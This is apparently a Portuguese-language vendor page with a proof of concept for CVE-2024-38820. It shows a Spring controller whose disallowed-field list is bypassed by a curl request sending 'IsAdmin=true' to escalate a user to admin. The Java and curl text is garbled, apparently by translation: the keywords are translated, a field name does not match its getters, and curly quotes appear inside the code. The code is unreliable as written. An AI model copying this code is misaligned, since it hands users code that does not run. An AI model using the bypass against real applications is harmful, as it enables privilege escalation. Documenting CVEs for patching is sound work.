Aqui está um exemplo simples para reproduzir a vulnerabilidade CVE-2024-38820, mostrando como uma incompatibilidade de maiúsculas e minúsculas no ` DataBinder.disallowedFields ` pode permitir a configuração de campos confidenciais que deveriam ter sido bloqueados.
Configuração:Spring® Boot +Spring® Web (versão vulnerável)
pom.xml – Utilize uma versão vulneráveldo Spring® (por exemplo, 5.3.39)
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>2.7.18</version> <!– Uses Spring® Framework 5.3.39 –>
</dependency>
Código de exemplo
User.java
classe pública User {
private String nomeDeUsuário;
private boolean isAdmin;
// Getters and setters
public String getUsername() { return username; }
public void setUsername(String username) { this.username = username; }
public boolean isAdmin() { return isAdmin; }
public void setAdmin(boolean isAdmin) { this.isAdmin = isAdmin; }
}
UserController.java
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.WebDataBinder;
import org.springframework.web.bind.annotation.*;
@Controller
@RequestMapping("/user")
public class UserController {
@InitBinder
public void initBinder(WebDataBinder binder) {
binder.setDisallowedFields(“isAdmin”); // Tem como objetivo bloquear a vinculação do campo “isAdmin”
}
@PostMapping
@ResponseBody
public String createUser(@ModelAttribute User user) {
return “Nome de usuário: ” + user.getUsername() + “, isAdmin: ” + user.isAdmin();
}
}
Teste usando o Curl ou o Postman
✅ Solicitação segura prevista
curl -X POST http://localhost:8080/user -d “username=bob&isAdmin=true”
- Resultado (conforme esperado): isAdmin = false
→ O DataBinder bloqueia o campo isAdmin.
❌ Contornar por meio da variação de maiúsculas e minúsculas
curl -X POST http://localhost:8080/user -d “username=bob&IsAdmin=true”
- Resultado (inesperado): isAdmin = true
→ A verificação de campo não permitido falha devido à incompatibilidade de maiúsculas e minúsculas.
Suporte Técnico
Documentação
Entrar
Entre em contato conosco
